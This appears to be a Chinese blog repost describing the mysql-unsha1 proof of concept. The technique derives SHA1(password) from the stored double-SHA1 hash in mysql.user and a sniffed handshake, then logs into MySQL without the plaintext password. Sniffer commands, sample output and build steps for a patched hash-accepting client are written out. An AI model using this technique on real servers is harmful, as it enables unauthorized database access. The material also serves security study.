zoukankan      html  css  js  c++  java
  • mysql-unsha1:在未知密码情况下,登录任意MYSQL数据库

    摘要

    这个POC用于在不知道明文密码的情况下对启用了密码安全认证插件(默认开启插件:mysql_native_password)的MYSQL数据库进行登录。

    前提条件为:

    1.为了获取到已知用户的hash,我们需要读取到目标数据库中的mysql.user表。
    2.能够拦截到上述已知用户执行成功的认证信息(即通过SSL认证无法攻击成功)。

    注意:这并不是MYSQL的一个漏洞,只是认证协议工作的直接后果。如果攻击者已经满足了上面两个前提,那么整个系统应该是已经被攻破了。则这篇文章只是对MYSQL服务器获取权限的另外一种思路。

    MySQL服务器密码

    在默认情况下,所有密码应该是存放在数据库中的mysql.user表中,并且使用PASSWORD()方法对密码进行两次SHA1摘要。

    mysql> SELECT DISTINCT password FROM mysql.user WHERE user = 'root';
    *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
    
    mysql> SELECT PASSWORD('password');
    *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
    
    mysql> SELECT SHA1(UNHEX(SHA1('password')));
    2470c0c06dee42fd1618bb99005adca2ec9d1e19
    

    握手认证

    下方公式不能直接在mysql的客户端使用sha1进行计算,具体原因不明,但是使用java代码是可以得到想要的结果的。

    客户端发送TCP连接信息之后,MYSQL握手认证的简化步骤大致如下:
    1. 服务端发送一个包含盐(s)的数据包
    2. 客户端回应一个包含处理过后的密码(x)的登录请求,密码加密算法为:

    x := SHA1(password) XOR SHA1(s + SHA1(SHA1(password)))
    

    其中password是用户提供的,"+"是将字符串链接起来。
    3. 如果满足下面等式,服务端会确认登录成功:

    SHA1(x XOR SHA1(s + SHA1(SHA1(password)))) = SHA1(SHA1(password))
    

    其中SHA1(SHA1(password))是对密码进行两次SHA1摘要,然后储存到mysql.user表中。并且服务端并不知道密码以及它的SHA1摘要是什么。

    漏洞利用

    攻击者已经能够获得SHA1(password),因此我们可以在不知道明文的密码情况下对服务端进行欺骗。

    步骤如下:

    1.将h设置为我们在mysql.user表中得到的经过编码的password。
    2.s和x是我们通过拦截通信得到的盐和经过处理的密码。

    所以,第一步对密码进行的SHA1可以表示为:

    SHA1(password) = x XOR SHA1(s + h)

    攻击工具

    为了可以更加方便的利用这个漏洞,为这个PoC提供了两个利用工具:

    1.一个简单的嗅探器,用于从PCAP文件中提取和检查实时或离线的握手信息;
    2.允许将登录的密码设置为SHA1摘要,而不是明文密码的补丁.

    嗅探器

    安装mysql-unsha1-sniff只需要运行make命令(或者使用make static生成一个静态链接可执行文件)。Makefile将在此目录下查找uthash.h文件,如果不存在,就去下载它。

    运行不带参数的mysql-unsha1-sniff,将显示用法。

    例子:

    sudo ./mysql-unsha1-sniff -i lo 127.0.0.1 3306 2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19:root
    

    一旦成功抓到握手认证信息,数据会像下面一样:

    [+] Input:
    [+] - username ........................ 'root'
    [+] - salt ............................ 3274756c42415d3429717e482a3776704d706b49
    [+] - client session password ......... 6d45a453b989ad0ff0c84daf623e9870f129c329
    [+] - SHA1(SHA1(password)) ............ 2470c0c06dee42fd1618bb99005adca2ec9d1e19
    [+] Output:
    [+] - SHA1(password) .................. 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8
    [+] Check:
    [+] - computed SHA1(SHA1(password)) ... 2470c0c06dee42fd1618bb99005adca2ec9d1e19
    [+] - authentication status ........... OK
    

    如果没有提供帐户信息,工具将仅显示salt和会话密码。

    mysql客户端补丁

    搭建mysql客户端需要一些时间,并且确保您的磁盘有足够的空间。

    1下载并且解压MySQL源码:

    wget https://github.com/mysql/mysql-server/archive/mysql-5.7.17.tar.gz
    tar xf mysql-5.7.17.tar.gz
    cd mysql-server-mysql-5.7.17
    

    2.安装补丁

    patch -p1 </path/to/mysql-server-unsha1.patch
    

    3.编译:

    mkdir build
    cd build
    cmake -DDOWNLOAD_BOOST=1 -DWITH_BOOST=boost -DWITHOUT_SERVER:BOOL=ON ..
    make -j$(nproc)
    

    4.客户端文件将在client/mysql文件夹中产生,设置环境变量。安装完成之后删除源码节省重空间。

    sudo cp client/mysql /usr/local/bin/mysql-unsha1
    cd ../..
    rm -fr mysql-server-mysql-5.7.17
    

    使用mysql-unsha1作为原始的MySQL客户端,并且只需要了解–password[=password], -p[password]选项需要一个长度为40的SHA1摘要。

    使用前面获取到的SHA1进行登录:

    mysql-unsha1 -h 127.0.0.1 -P 3306 -u root --password=5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8
    

    其中:

    mysql> SELECT SHA1(UNHEX('5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8'));
    2470c0c06dee42fd1618bb99005adca2ec9d1e19
    

    2470c0c06dee42fd1618bb99005adca2ec9d1e19是在mysql.user表里面的密码。

  • 相关阅读:
    mybatis关键查询
    智能标签
    mybatis注解基础使用
    myBatis基础知识点
    Mybatis框架模糊查询
    python(7):sympy模块
    anaconda中的包如何传到pycharm中使用?
    python(6):Scipy之pandas
    python(5):scipy之numpy介绍
    python(4): regular expression正则表达式/re库/爬虫基础
  • 原文地址:https://www.cnblogs.com/qiumingcheng/p/10094678.html
Copyright © 2011-2022 走看看